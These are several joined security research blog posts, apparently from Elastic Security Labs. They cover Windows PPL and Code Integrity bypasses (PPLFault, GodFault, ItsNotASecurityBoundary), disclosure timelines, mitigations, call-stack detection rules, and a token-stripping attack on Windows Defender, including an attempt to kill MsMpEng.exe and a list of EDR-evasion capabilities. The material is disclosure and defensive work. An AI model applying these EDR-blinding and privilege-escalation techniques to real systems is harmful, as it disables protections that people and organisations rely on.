The disclosure timeline is as follows:

• 2024-02-14: We reported ItsNotASecurityBoundary and FineButWeCanStillEasilyStopIt to MSRC as VULN-119340, suggesting ExAllocatePool and MmProbeAndLockPages as simple low-risk fixes
• 2024-02-29: The Windows Defender team reached out to coordinate disclosure
• 2024-04-23: Microsoft releases KB5036980 Preview with the MmProbeAndLockPages fix
• 2024-05-14: Fix reaches GA for Windows 11 23H2 as KB5037771; we have not tested any other platforms (Win10, Server, etc).
• 2024-06-14: MSRC closed the case, stating "We have completed our investigation and determined that the case doesn't meet our bar for servicing at this time. As a result, we have opened a next-version candidate bug for the issue, and it will be evaluated for upcoming releases. Thanks, again, for sharing this report with us."

Fixing Code Integrity

Looking at the original implementation of CI!I_MapAndSizeDataFile, we can see the legacy code calling ZwCreateSection and ZwMapViewOfSection:

Contrast that with the new CI!CipMapAndSizeDataFileWithMDL, which follows that up with MmProbeAndLockPages:

Summary and conclusion

Today we discussed and named a bug class: False File Immutability. We are aware of two public exploits that leverage it, PPLFault and ItsNotASecurityBoundary.

PPLFault: Admin -> PPL [-> Kernel via GodFault]

• Exploits bad immutability assumptions about image section in CI/MM
• Reported September 2022
• Patched February 2024 (~510 days later)

ItsNotASecurityBoundary: Admin -> Kernel

• Exploits bad immutability assumptions about data sections in CI
• Reported February 2024
• Patched May 2024 (~90 days later)

If you are writing Windows code that operates on files, you need to be aware of the fact these files may be modified while you are working on them, even if you deny write sharing. See the Affected Operations section above for guidance on how to protect yourselves and your customers against these types of attacks.

ItsNotASecurityBoundary is not the end of FFI. There are other exploitable FFI vulnerabilities out there. My colleagues and I at Elastic Security Labs will continue exploring and reporting on FFI and beyond. We encourage you to follow along on X @GabrielLandau and @ElasticSecLabs.

The PPL mechanism was introduced in Windows 8.1, enabling specially-signed programs to run in such a way that they are protected from tampering and termination, even by administrative processes. The goal was to keep malware from running amok — tampering with critical system processes and terminating anti-malware applications. There is a hierarchy of PPL “levels,” with higher-privilege ones immune from tampering by lower-privilege ones, but not vice-versa. Most PPL processes are managed by Microsoft but members of the Microsoft Virus Initiative are allowed to run their products at the less-trusted Anti-Malware PPL level.

A few core Windows components run at the highest level of PPL, called Windows Trusted Computing Base (WinTcb-Light). Because of the protection afforded to these components and their narrow scope of function, they are considered more trusted than most user mode code. Most of these processes (such as csrss.exe) and their complex kernel-mode counterparts (such as win32k.sys) were written decades ago under different assumptions when the kernel-user boundary was even weaker than it is today. Rather than rewrite all these components, Microsoft made these user mode processes WinTcb-Light, mitigating tampering and injection attacks. Alex Ionescu stated it clearly in 2013:

Because the Win32k.sys developers did not expect local code injection attacks to be an issue (they require Administrator rights, after all), many of these APIs didn’t even have SEH, or had other assumptions and bugs. Perhaps most famously, one of these, discovered by j00ru, and still unpatched, has been used as the sole basis of the Windows 8 RT jailbreak. In Windows 8.1 RT, this jailbreak is “fixed”, by virtue that code can no longer be injected into Csrss.exe for the attack. Similar Win32k.sys exploits that relied on Csrss.exe are also mitigated in this fashion.

To reduce the attack surface, Microsoft runs most of their PPL code with less privilege than WinTcb-Light:

Microsoft does not consider PPL to be a security boundary, meaning they won’t prioritize security patches for code-execution vulnerabilities discovered therein, but they have historically addressed some such vulnerabilities on a less-urgent basis.

Loading code into PPL processes

To load code into a PPL process, it must be signed by special certificates. This applies to both executables (process creation) and libraries (DLLs loads). For the sake of simplicity, we’ll focus on DLL loading, but the CI validation process is very similar for both. This article is focused on PPL, so we will not discuss kernel mode code integrity.

Portable Executable (PE) files come in many extensions, including EXE, DLL, SYS, OCX, CPL, and SCR. While the extension may vary, they’re all quite similar at a binary level. For a PPL process to load and execute a DLL, a few steps must be taken. Note that these steps are simplified, but should be sufficient for this article:

1. An application calls LoadLibrary, passing the path to the DLL to be loaded.
2. LoadLibrary calls into the loader within NTDLL (e.g. ntdll!LdrLoadDll), which opens a handle to the file using an API such as NtCreateFile.
3. The loader then passes this file handle to NtCreateSection, asking the kernel memory manager to create a section object which describes how the file is to be mapped into memory. A section object is also known as a file mapping object in higher abstraction layers (such as Win32), but since we’re focused on the kernel, we’ll keep calling them section objects. The Windows loader always uses a specific type of section called an executable image (aka SEC_IMAGE), which can only be created from PE files.
4. Before returning the section object to user mode, the memory manager checks the digital signature on the file to ensure it meets the requirements for the given level of PPL. The internal memory manager function MiValidateSectionCreate relies on the Code Integrity module ci.dll to handle the requisite cryptography and PKI policy.
5. The memory manager restructures the PE so that it can be mapped into memory and executed. This step involves creating multiple subsections, one for each of the different portions of the PE file that must be mapped differently. For example, global variables may be read-write, whereas the code may be execute-read. To achieve this granularity, the resulting regions of memory must have distinct page table entries with different page permissions. Other changes may be applied here, such as applying relocations, but they are out of scope for this research publication.
6. The kernel returns the new section handle to the loader in NTDLL.
7. The NTDLL loader then asks the kernel memory manager to map a view of the section into the process address space via the NtMapViewOfSection syscall. The memory manager complies.
8. Once the view is mapped, the loader finishes the processing required to create a functional DLL in memory. The details of this are out of scope.

Page hashes

In the above steps, we can see that a PE’s digital signature is validated during section creation, but there is another way that code can be loaded into the address space of a PPL process - paging.

Unmodified pages belonging to file-backed sections (including SEC_IMAGE) can be quickly discarded whenever the system is low on memory because there’s a copy of that exact data on disk. If the page is later touched, the CPU will issue a page fault, and the memory manager’s page fault handler will re-read that data from disk. Because SEC_IMAGE sections can only be created from immutable file data, and the signature has already been verified, the data is considered trusted.

PE files may be optionally built with the /INTEGRITYCHECK flag. This sets a flag in the PE header that, among other things, instructs the memory manager to create and store hashes of every page (aka “page hashes”) of that PE as sections are created from it. After reading a page from disk, the page fault handler calls MiValidateInPage to verify that the page hash hasn’t changed since the signature was initially verified. If the page hash has changed, the handler will raise an exception. This feature is useful for detecting bit rot in the page file and a few types of attacks. Beyond /INTEGRITYCHECK images, page hashes are also enabled for all modules loaded into full Protected Processes (not PPL), and drivers loaded into the kernel.

Note: It is possible to create a SEC_IMAGE section from a file with user-writable references, a tactic employed by techniques like Process Herpaderping. The existence of user-writable references means that a file could be modified after the image section is created. When a program attempts to use such a mutable file, the memory manager first copies the file’s contents to the page file, creating an immutable backing for the image section to prevent tampering. In this case, the section will not be backed by the original file, but instead by the page file. See this Microsoft article for more information about user-writable references.

Exploitation

In September 2022, Gabriel Landau from Elastic Security filed VULN-074311 with MSRC, notifying them of two zero-day vulnerabilities in Windows: one admin-to-PPL and one PPL-to-kernel. Two exploits for these vulnerabilities were provided named PPLFault and GodFault, respectively, along with their source code. These exploits allow malware to bypass LSA protection, terminate or blind EDR software, and modify kernel memory to tamper with core OS behavior - all without the use of any vulnerable drivers. See this article for more details on their impact.

The admin-to-PPL exploit PPLFault leverages the fact that page hashes are not validated for PPL and employs the Cloud Filter API to violate immutability assumptions of files backing SEC_IMAGE sections. PPLFault uses paging to inject code into a DLL loaded within a PPL process running as WinTcb-Light, the most privileged form of PPL. The PPL-to-kernel exploit GodFault first uses PPLFault to get WinTcb-Light code execution, then exploits the kernel’s trust of WinTcb-Light processes to modify kernel memory, granting itself full read-write access to physical memory.

Though MSRC declined to take any action on these vulnerabilities, the Windows Defender team has shown interest. PPLFault and GodFault were released at Black Hat Asia in May 2023 alongside a mitigation to stop these exploits called NoFault.

Mitigation

On September 1, 2023, Microsoft released build 25941 of Windows Insider Canary. This build adds a new check to the memory manager function MiValidateSectionCreate which enables page hashes for all images that reside on remote devices. Comparing 25941 against its predecessor 25936, we can see the following two new basic blocks:

Decompiled into C, the new code looks like this:

When PPLFault is run, Windows Error Reporting generates an event log indicating a failure during a paging operation:

PPLFault requires its payload DLL to be loaded over the SMB network redirector to achieve the desired paging behavior. By forcing the use of page hashes for such network-hosted DLLs, the exploit can no longer inject its payload, so the vulnerability is fixed. The aforementioned NoFault mitigation released at Black Hat also targets network redirectors, blocking such DLL loads into PPL entirely. Elastic Defend 8.9.0 and later block PPLFault - please update if you haven’t already.

Tracking down the exact point of failure in a kernel debugger, we can see the page fault handler invoking CI to validate page hashes, which fails with STATUS_INVALID_IMAGE_HASH (0xC0000428). This is later converted to STATUS_IN_PAGE_ERROR (0xC0000006).

0: kd> g
Breakpoint 1 hit
CI!CiValidateImagePages+0x360:
0010:fffff805`725028b4 b8280400c0      mov     eax,0C0000428h
7: kd> k
 # Child-SP          RetAddr               Call Site
00 fffff508`1b4a6dc0 fffff805`72502487     CI!CiValidateImagePages+0x360
01 fffff508`1b4a6f90 fffff805`6f2f1bbd     CI!CiValidateImageData+0x27
02 fffff508`1b4a6fd0 fffff805`6ee35de5     nt!SeValidateImageData+0x2d
03 fffff508`1b4a7020 fffff805`6efa167b     nt!MiValidateInPage+0x305
04 fffff508`1b4a70d0 fffff805`6ef9fffe     nt!MiWaitForInPageComplete+0x31b
05 fffff508`1b4a71d0 fffff805`6ef68692     nt!MiIssueHardFault+0x3fe
06 fffff508`1b4a72e0 fffff805`6f0a784b     nt!MmAccessFault+0x3b2
07 fffff508`1b4a7460 00007fff`ccf71500     nt!KiPageFault+0x38b
08 000000b6`776bf1b8 00007fff`d5500ac0     0x00007fff`ccf71500
09 000000b6`776bf1c0 00000000`00000000     0x00007fff`d5500ac0
7: kd> !error C0000428
Error code: (NTSTATUS) 0xc0000428 (3221226536) - Windows cannot verify the 
 digital signature for this file. A recent hardware or software change 
 might have installed a file that is signed incorrectly or damaged, or 
 that might be malicious software from an unknown source.

Comparing behavior

With the fix introduced in build 25941, the final vulnerable build is 25936. Running PPLFault in both builds under a kernel debugger, we can use the following WinDbg command to see the files for which CI is computing page hashes:

bp /w "&CI!CipValidatePageHash == @rcx" CI!CipValidateImageHash 
 "dt _FILE_OBJECT @r8 FileName; g"

This command generates the following WinDbg output for build 25936, before the fix:

Here is the WinDbg output for build 25941, which includes the fix:

Conclusion

Despite taking longer than it perhaps should, it's exciting to see Microsoft taking steps to defend PPL processes (including Anti-Malware) from malware running as admin, and users will benefit if this improvement reaches GA soon. Many features in Insider, even security features, are not available in (and may never reach) GA. Microsoft is very conservative when it comes to changes with potential stability, compatibility, or performance risk; memory manager changes are among the risker types. For example, the PreviousMode kernel exploit mitigation spotted in Insider last November still hasn’t reached GA, even after at least 10 months.

Special thanks to Grzegorz Tworek for his help reverse engineering some kernel functions.

Bring Your Own Vulnerable Driver (BYOVD) is an increasingly popular attacker technique wherein a threat actor brings a known-vulnerable signed driver alongside their malware, loads it into the kernel, then exploits it to perform some action within the kernel that they would not otherwise be able to do. After achieving kernel access, they may tamper with or disable security software, dump otherwise inaccessible credentials, or modify operating system behavior to hide their presence. Joe Desimone and I covered this in-depth, among other kernel mode threats, at Black Hat USA 2018. Employed by advanced threat actors for over a decade, BYOVD is becoming increasingly common in ransomware and commodity malware.

Driver Signing Enforcement (DSE), first deployed in 2007 by Windows Vista x64, was the first time that Microsoft attempted to limit the power of admins. With DSE in place, admins could no longer instantly load any code into the kernel. Admin restrictions grew over time with the rollout of Boot Guard, Secure Boot, and Trusted Boot to protect the boot chain from admin malware, which could previously install their own boot loaders / bootkits.

Further limiting admins' power, Microsoft recently deployed the Vulnerable Driver Blocklist by default, starting in Windows 11 22H2. This is a move in the right direction, making Windows 11 more secure by default. Unfortunately, the blocklist's deployment model can be slow to adapt to new threats, with updates automatically deployed typically only once or twice a year. Users can manually update their blocklists, but such interventions bring us out of “secure by default” territory.

Security boundaries

When determining which vulnerabilities to fix, the Microsoft Security Response Center (MSRC) uses the concept of a security boundary, which it defines as follows:

A security boundary provides a logical separation between the code and data of security domains with different levels of trust. For example, the separation between kernel mode and user mode is a classic and straightforward security boundary.

Based on this definition, one might be inclined to think that malware running in user mode should not be able to modify kernel memory. The boundary is “straightforward” after all. Logically, any violation of that boundary should be met with a remedial action such as a patch or blocklist update.

Unfortunately, the situation gets murkier from here. That document later states that administrator-to-kernel is not a security boundary, with the following explanation:

Administrative processes and users are considered part of the Trusted Computing Base (TCB) for Windows and are therefore not strong [sic] isolated from the kernel boundary.

At this point, we have two seemingly conflicting viewpoints. On one hand, MSRC states that admin-to-kernel is an indefensible boundary and not worth fixing. On the other hand, Microsoft is attempting to defend this boundary with mechanisms such as Driver Signing Enforcement, Secure Boot, and the Vulnerable Driver Blocklist. Because the defense is incomplete, MSRC instead calls them “defense-in-depth security features.”

MSRC similarly does not consider admin-to-PPL a security boundary, instead classifying it as a defense-in-depth security feature. More on this in the next section.

The rest of this article will refer to MSRC and Microsoft separately. While MSRC is part of Microsoft, Microsoft is a much larger entity than MSRC; they shouldn't be equated.

Exploiting vulnerabilities

In September 2022, I filed VULN-074311 with MSRC, notifying them of two zero-day vulnerabilities in Windows: one admin-to-PPL and one PPL-to-kernel. I provided source code for both exploits. The response concisely indicated that they understood the vulnerabilities and declined to take any further action, as stated below:

The research describes a multi-step attack that leverages a PPL bypass to gain kernel code execution. Note that all of the proposed attacks do require administrative privileges to perform and thus the reported issue does not meet our bar for immediate servicing. We do not expect any further action and will proceed with closing out the case.

In this parlance, “servicing” means “patching.” Their response is consistent with the aforementioned policy and their historical treatment of the admin-to-kernel boundary. Their behavior is consistent too - it's been over 11 months and they still haven't patched either vulnerability. I find it fascinating that Microsoft is willing to block drivers that can modify kernel memory but MSRC is unwilling to service vulnerabilities that can do the same.

When I announced my Black Hat Asia 2023 talk, PPLdump Is Dead. Long Live PPLdump, on Twitter five months after the MSRC report, the Windows Defender team quickly reached out to learn more. It seems that MSRC closed the case without telling the Defender team, whose products rely on PPL to protect hundreds of millions of Windows machines, about a PPL bypass. This type of miscommunication mustn't be allowed to continue.

Turnkey tooling

EDRSandBlast is a tool that weaponizes vulnerable drivers to bypass AV & EDR software. It can modify kernel memory to remove hooks installed by AV & EDR, temporarily or permanently blinding them to malicious activity on the system.

As I discussed in my Black Hat Asia talk, MSRC has de-facto shown that they are unwilling to service admin-to-PPL and admin-to-kernel vulnerabilities and that it requires the existence of turnkey tooling on GitHub to motivate Microsoft to action. This led me to release the admin-to-PPL exploit PPLFault and admin-to-kernel exploit chain GodFault as easy-to-use tools on GitHub. For brevity, below we'll call them “PPL vulnerability” and “kernel vulnerability”, respectively.

In this same “turnkey tooling” spirit, to highlight the inconsistency of blocking known-vulnerable drivers while simultaneously refusing to patch admin-to-kernel exploit chains, I am releasing a version of EDRSandBlast that integrates PPLFault to demonstrate the same result, sans vulnerable drivers. You can see it here disabling the Windows Defender driver. My goal in releasing this is to motivate MSRC to treat both PPL and kernel vulnerabilities with greater urgency.

Mitigation

I released a small kernel driver alongside PPLFault and GodFault called NoFault which breaks the PPL exploit. Until Windows is fixed, anti-malware vendors can employ this code to mitigate the PPL vulnerability. We've incorporated NoFault's protection into the latest version of Elastic Endpoint/Defend - please update to 8.9.0+ if you haven't already. One comprehensive fix could be to have the memory manager enforce page hashes for all executable images loaded into PPL, a feature already employed for full Protected Processes.

GodFault is not the first tool to exploit the kernel vulnerability. ANGRYORCHARD first used it with the now-patched KnownDLLs PPL vulnerability. The PPL vulnerability has since been fixed, but the kernel one was not. I was able to easily reuse the kernel vulnerability in GodFault - it's only a few lines of code. If this is not patched, then any future PPL exploits will immediately be chainable to the kernel. Note that NoFault breaks the kernel exploit chain by preventing its requisite PPL code execution, but does not fix the kernel vulnerability itself.

Discussion

Making EDRSandBlast driverless is just one example of the things you can do with such exploits. Admin-to-kernel exploits enable a whole menu of malware capabilities that are normally impossible from user mode, including:

• Disable kernel mode telemetry including process, thread, object manager, filesystem, and registry callbacks. EDRSandBlast does some of these.
• Disable kernel ETW loggers
• Terminate and/or inject malware into PPL anti-malware processes
• Bypass LSA RunAsPPL to dump credentials or tamper with Credential Guard
• Read/write the memory of shielded VM worker processes, which run as PPL
• Run malware with greater privilege than anti-malware, such that it can't be scanned or terminated from user mode
• Implement rootkit behavior such as hiding processes, files, and registry keys
• Gain full read-write access to physical memory

Such kernel-driven capabilities, often enabled by BYOVD, are regularly used by criminals to defeat and degrade security products, empowering them to hurt people and businesses. PPL and kernel vulnerabilities enable these same capabilities, so MSRC needs to service them proactively before threat actors abuse them, not after.

I don't want to understate the difficulty of the problem - defending the kernel against admins is hard and will require continual effort as new bypasses are found. It will not be solved, but rather a difficult and ongoing arms race. Fortunately, Microsoft recently adopted a new philosophy of “no longer avoiding the hard things” (timestamped link). Addressing these types of vulnerabilities is a “hard thing” affecting Windows security today that Microsoft can do something about while simultaneously moving towards their vision of an Adminless future. They're a large well-funded company filled with smart people, capable of addressing multiple issues at once.

Conclusion

Microsoft created the Vulnerable Driver Blocklist to stop admins from tampering with the kernel, but they've done nothing about an admin-to-kernel exploit chain that was reported over 11 months ago. By removing the vulnerable driver requirement from EDRSandBlast via GodFault, I hope to prove that admin-to-kernel exploits can be just as dangerous as vulnerable drivers and that MSRC needs to take them seriously. Given Windows 11's goal of default security and the fact that the Vulnerable Driver Blocklist is now enabled by default, MSRC needs to reconsider its policy of indifference towards PPL and kernel exploits.

Elastic Security for endpoint, with its roots in Endgame, has long led the industry for in-memory threat detection. We pioneered and patented many detection technologies such as kernel thread start preventions, call stack anomaly hunting, and module stomping discovery. However, adversaries continue to innovate and evade detections. For example, in response to our improved memory signature protection, adversaries developed a flurry of new sleep based evasions. We aim to out-innovate adversaries and maintain protections against the cutting edge of attacker tradecraft. With Elastic Security 8.8, we added new kernel call stack based detections which provide us with improved efficacy against in-memory threats.

Before we get started, it's important to know what call stacks are and why they’re valuable for detection engineering. A call stack is the ordered sequence of functions that are executed to achieve a behavior of a program. It shows in detail which functions (and their associated modules) were executed to lead to a behavior like a new file or process being created. Knowing a behavior’s call stack, we can build detections with detailed contextual information about what a program is doing and how it’s doing it.

Deep Visibility

The new call stack based detection capability leverages our existing deep in-line kernel visibility for the most common system behaviors (process, file, registry, library, etc). With each event, we capture the call stack for the activity. This is later enriched with module information, symbols, and evidence of suspicious activity. This gives us procmon-like visibility in real-time, powering advanced preventions for in-memory tradecraft.

Process creation call stack fields :

File, registry and library call stack fields:

New Rules

Additional visibility wouldn’t raise the bar unless we could pair it with tuned, high confidence preventions. In 8.8, behavior protection comes out of the box with 30+ rules to provide us with high efficacy against cutting edge attacker techniques such as: - Direct syscalls - Callback-based evasion - Module Stomping - Library loading from unbacked region - Process created from unbacked region - Many more

Call stacks are a powerful data source that can be used to improve protection against non-memory-based threats as well. For example, the following EQL queries look for the creation of a child process or an executable file extension from an Office process with a call stack containing VBE7.dll (a strong sign of the presence of a macro-enabled document). This increases the signal and coverage of the rule logic while reducing the necessary tuning efforts compared to just process or file creation events with no call stack information:

Below are some examples of matches where Macro-enabled malicious Excel and Word documents spawning a child process where the call stack refers to vbe7.dll :

Here, we can see a malicious XLL file opened via Excel spawning a legitimate browser\_broker.exe to inject into. The parent call stack indicates that the process creation call is coming from the [xlAutoOpen](https://learn.microsoft.com/en-us/office/client-developer/excel/xlautoopen) function:

The same enrichment is also valuable in library load and registry events. Below is an example of loading the Microsoft Common Language Runtime CLR.DLL module from a suspicious call stack (unbacked memory region with RWX permissions) using the Sliver execute-assembly command to load external .NET assemblies:

library where dll.name : "clr.dll" and
process.thread.Ext.call_stack_summary : "*mscoreei.dll|Unbacked*"

Hunting for suspicious modification of certain registry keys such as the Run key for persistence tends to be noisy and very common in legit software but if we add the call stack signal to the logic, the suspicion level is significantly increased :

registry where 
 registry.path : "H*\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\*"
// the creating thread's stack contains frames pointing outside any known executable image
 and process.thread.Ext.call_stack_contains_unbacked == true

Another “fun” example is the use of the call stack information to detect rogue instances of core system processes that normally have very specific functionality. By signaturing their normal call stacks, we can easily identify outliers. For example, WerFault.exe and wermgr.exe are among the most attractive targets for masquerading:

Examples of matches:

Apart from the use of call stack data for finding suspicious behaviors, it’s also useful when it comes to excluding false positives from behavior detections in a more granular way. This also helps reduce evasion opportunities.

A good example is a detection rule looking for unusual Microsoft Office child processes. This rule is used to exclude splwow64.exe , which can be legitimately spawned by printing activity. Excluding it by process.executable creates an evasion opportunity via process hollowing or injection, which can make the process tree look normal. We can now mitigate this evasion by requiring such process creations to come from winspool.drv!OpenPrinter :

process where event.action == "start" and
  process.parent.name : ("WINWORD.EXE", "EXCEL.EXE", "POWERPNT.EXE", "MSACCESS.EXE", "mspub.exe", "fltldr.exe", "visio.exe") and
// excluding splwow64.exe only if it’s parent callstack is coming from winspool.drv module  
not (process.executable : "?:\\Windows\\splwow64.exe" and``_arraysearch(process.parent.thread.Ext.call_stack, $entry, $entry.symbol_info: ("?:\\Windows\\System32\\winspool.drv!OpenPrinter*", "?:\\Windows\\SysWOW64\\winspool.drv!OpenPrinter*")))

To reduce event volumes, call stack information is collected on the endpoint and processed for detections but not always streamed in events. To always include call stacks in streamed events an advanced option is available in Endpoint policy:

C2 Coverage

Elastic Endpoint makes quick work detecting some of the top C2 frameworks active today. See below for a screenshot detecting Nighthawk, BruteRatel, CobaltStrike, and ATP41’s StealthVector.

Conclusion

While this capability gives us a lead over the cutting edge of in-memory tradecraft today, attackers will no doubt develop new innovations in attempts to evade it. That’s why we are already hard at work to deliver the next set of leading in-memory detections. Stay tuned!

Resources

Rules released with 8.8:

• Execution from a Macro Enabled Office Document
• Suspicious Macro Execution via Windows Scripts
• Suspicious File Dropped by a Macro Enabled Document
• Shortcut File Modification via Macro Enabled Document
• DLL Loaded from a Macro Enabled Document
• Process Creation via Microsoft Office Add-Ins
• Registry or File Modification from Suspicious Memory
• Access to Browser Credentials from Suspicious Memory
• Potential NTDLL Memory Unhooking
• Microsoft Common Language Runtime Loaded from Suspicious Memory
• Common Language Runtime Loaded via an Unsigned Module
• Potential Masquerading as Windows Error Manager
• Suspicious Image Load via LdrLoadDLL
• Library Loaded via a CallBack Function
• Process Creation from Modified NTDLL
• DLL Side Loading via a Copied Microsoft Executable
• Potential Injection via the Console Window Class
• Suspicious Unsigned DLL Loaded by a Trusted Process
• Process Started via Remote Thread
• Potential Injection via DotNET Debugging
• Potential Process Creation via ShellCode
• Module Stomping form a Copied Library
• Process Creation from a Stomped Module
• Parallel NTDLL Loaded from Unbacked Memory
• Potential Operation via Direct Syscall
• Potential Process Creation via Direct Syscall
• Process from Archive or Removable Media via Unbacked Code
• Network Module Loaded from Suspicious Unbacked Memory
• Rundll32 or Regsvr32 Loaded a DLL from Unbacked Memory
• Windows Console Execution from Unbacked Memory
• Process Creation from Unbacked Memory via Unsigned Parent

Protected Anti-Malware Services

Windows 8.1 introduced a concept of Protected Antimalware Services. This enables specially-signed programs to run such that they are immune from tampering and termination, even by administrative users. Microsoft’s documentation (archived) describes this as:

In Windows 8.1, a new concept of protected service has been introduced to allow anti-malware user-mode services to be launched as a protected service. After the service is launched as protected, Windows uses code integrity to only allow trusted code to load into the protected service. Windows also protects these processes from code injection and other attacks from admin processes.

The goal is to prevent malware from instantly disabling your antivirus and then running amok. For the rest of this article, we call them Protected Process Light (PPL). For more depth, Alex Ionescu goes into great detail on protected processes in his talk at NoSuchCon 2014.

To be able to run as a PPL, an anti-malware vendor must apply to Microsoft, prove their identity, sign binding legal documents, implement an Early Launch Anti-Malware (ELAM) driver, run it through a test suite, and submit it to Microsoft for a special Authenticode signature. It is not a trivial process. Once this process is complete, the vendor can use this ELAM driver to have Windows protect their anti-malware service by running it as a PPL.

You can see PPL in action yourself by running the following from an elevated administrative command prompt on a default Windows 10 install:

Protected Process Light in Action

C:\WINDOWS\system32>whoami
nt authority\system

C:\WINDOWS\system32>whoami /priv | findstr "Debug"
SeDebugPrivilege                Debug programs                    Enabled

C:\WINDOWS\system32>taskkill /f /im MsMpEng.exe
ERROR: The process "MsMpEng.exe" with PID 2236 could not be terminated.
Reason: Access is denied.

As you can see here, even a user running as SYSTEM (or an elevated administrator) with SeDebugPrivilege cannot terminate the PPL Windows Defender anti-malware Service (MsMpEng.exe). This is because non-PPL processes like taskkill.exe cannot obtain handles with the PROCESS_TERMINATE access right to PPL processes using APIs such as OpenProcess.

In summary, Windows attempts to protect PPL processes from non-PPL processes, even those with administrative rights. This is both documented and implemented. That being said, with PROCESS_TERMINATE blocked, let’s see if there are other ways we can interfere with it instead.

Windows Tokens

A Windows token can be thought of as a security credential. It says who you are and what you’re allowed to do. Typically when a user runs a process, that process runs with their token and can do anything the user can do. Some of the most important data within a token include:

• User identity
• Group membership (e.g. Administrators)
• Privileges (e.g. SeDebugPrivilege)
• Integrity level

Tokens are a critical part of Windows authorization. Any time a Windows thread accesses a securable object, the OS performs a security check. It compares the thread’s effective token against the security descriptor of the object being accessed. You can read more about tokens in the Microsoft access token documentation and the Elastic blog post that introduces Windows tokens.

Sandboxing Tokens

Some applications, such as web browsers, have been repeated targets of exploitation. Once an attacker successfully exploits a browser process, the exploit payload can perform any action that the browser process can perform. This is because it shares the browser’s token.

To mitigate the damage from such attacks, web browsers have moved much of their code into lower-privilege worker processes. This is typically done by creating a restricted security context called a sandbox. When a sandboxed worker needs to perform a privileged action on the system, such as saving a downloaded file, it can ask a non-sandboxed “broker” process to perform the action on its behalf. If the sandboxed process is exploited, the goal is to limit the payload’s ability to cause harm to only resources accessible by the sandbox.

While modern sandboxing involves several components of OS security, one of the most important is a low-privilege, or restricted, token. New sandbox tokens can be created with APIs such as

CreateRestrictedToken . Sometimes a sandboxed process needs to lock itself down after performing some initialization. The AdjustTokenPrivileges and AdjustTokenGroups APIs allow this adjustment. These APIs enable privileges and groups to be “forfeit” from an existing process’s token in such a way that they cannot be restored without creating a new token outside the sandbox.

One commonly used sandbox today is part of Google Chrome. Even some security products are getting into sandboxing these days.

Accessing Tokens

Windows provides the OpenProcessTokenAPI to enable interaction with process tokens. MSDN states that one must have the PROCESS_QUERY_INFORMATION right to use OpenProcessToken. Since a non-protected process can only get PROCESS_QUERY_LIMITED_INFORMATION access to a PPL process (note the LIMITED), it is seemingly impossible to get a handle to a PPL process’s token. However, MSDN is incorrect in this case. With only PROCESS_QUERY_LIMITED_INFORMATION, we can successfully open the token of a protected process. James Forshawexplains this documentation discrepancy in more depth, showing the underlying

de-compiled kernel code.

Tokens are themselves securable objects. As such, regular access checks still apply. The effective token of the thread attempting to access the token is checked against the security descriptor of the token being accessed for the requested access rights (TOKEN_QUERY, TOKEN_WRITE, TOKEN_IMPERSONATE, etc). For more detail about access checks, see the Microsoft article, “How Access Checks Work.”

The Attack

Process Hacker provides a nice visualization of token security descriptors. Taking a look at Windows Defender’s (MsMpEng.exe) token, we see the following Discretionary Access Control List (DACL):

Note that the SYSTEM user has full control over the token. This means, unless some other mechanism is protecting the token, a thread running as SYSTEM can modify the token. When such modification is possible, it violates the desired “PPL is protected from administrators” design goal.

Demo

Alas, there is no other mechanism protecting the token. Using this technique, an attacker can forcefully remove all privileges from the MsMpEng.exe token and reduce it from system to untrusted integrity. Being nerfed to untrusted integrity prevents the victim process from accessing most securable resources on the system, quietly incapacitating the process without terminating it.

In this video, the attacker could have further restricted the token, but the privilege and integrity changes were sufficient to prevent MsMpEng.exe from detecting and blocking a Mimikatz execution. We felt this illustrated a valid proof of concept.

Defense

Newer versions of Windows include an undocumented feature called “trust labels.” Trust labels are part of the System Access Control List (SACL), an optional component of every security descriptor. Trust labels allow Windows to restrict specific access rights to certain types of protected processes. For example, Windows protects the \KnownDlls object directory from modification by malicious administrators using a trust label. We can see this with WinObjEx64:

Like \KnownDlls, tokens are securable objects, and thus it is possible to protect them against modification by malicious administrators. Elastic Security does this, in fact, and is immune to this attack, by denying TOKEN_WRITE access to processes with a trust label below “Anti-Malware Light.” Because this protection is applied at runtime, however, there is still a brief window of vulnerability until it can apply the trust label.

Ideally, Windows would apply such a trust label to each PPL process’s token as it is created. This would eliminate the race condition and fix the vulnerability in the PPL mechanism. There is precedent. With a kernel debugger, we can see that Windows is already protecting the System process’ token on Windows (21H1 shown below) with a trust label:

1: kd> dx -r1 (((nt!_OBJECT_HEADER*)((@$cursession.Processes[0x4]->KernelObject->Token->Object - sizeof(nt!_OBJECT_HEADER))  & ~0xf))->SecurityDescriptor & ~0xf)
(((nt!_OBJECT_HEADER*)((@$cursession.Processes[0x4]->KernelObject->Token->Object - sizeof(nt!_OBJECT_HEADER))  & ~0xf))->SecurityDescriptor & ~0xf) : 0xffffe00649c46c20
1: kd> !sd 0xffffe00649c46c20
->Revision: 0x1
->Sbz1    : 0x0
->Control : 0x8814
            SE_DACL_PRESENT
            SE_SACL_PRESENT
            SE_SACL_AUTO_INHERITED
            SE_SELF_RELATIVE
->Owner   : S-1-5-32-544
->Group   : S-1-5-32-544
->Dacl    :
->Dacl    : ->AclRevision: 0x2
->Dacl    : ->Sbz1       : 0x0
->Dacl    : ->AclSize    : 0x1c
->Dacl    : ->AceCount   : 0x1
->Dacl    : ->Sbz2       : 0x0
->Dacl    : ->Ace[0]: ->AceType: ACCESS_ALLOWED_ACE_TYPE
->Dacl    : ->Ace[0]: ->AceFlags: 0x0
->Dacl    : ->Ace[0]: ->AceSize: 0x14
->Dacl    : ->Ace[0]: ->Mask : 0x000f01ff
->Dacl    : ->Ace[0]: ->SID: S-1-5-18

->Sacl    :
->Sacl    : ->AclRevision: 0x2
->Sacl    : ->Sbz1       : 0x0
->Sacl    : ->AclSize    : 0x34
->Sacl    : ->AceCount   : 0x2
->Sacl    : ->Sbz2       : 0x0
->Sacl    : ->Ace[0]: ->AceType: SYSTEM_MANDATORY_LABEL_ACE_TYPE
->Sacl    : ->Ace[0]: ->AceFlags: 0x0
->Sacl    : ->Ace[0]: ->AceSize: 0x14
->Sacl    : ->Ace[0]: ->Mask : 0x00000001
->Sacl    : ->Ace[0]: ->SID: S-1-16-16384

->Sacl    : ->Ace[1]: ->AceType: SYSTEM_PROCESS_TRUST_LABEL_ACE_TYPE
->Sacl    : ->Ace[1]: ->AceFlags: 0x0
->Sacl    : ->Ace[1]: ->AceSize: 0x18
->Sacl    : ->Ace[1]: ->Mask : 0x00020018
->Sacl    : ->Ace[1]: ->SID: S-1-19-1024-8192

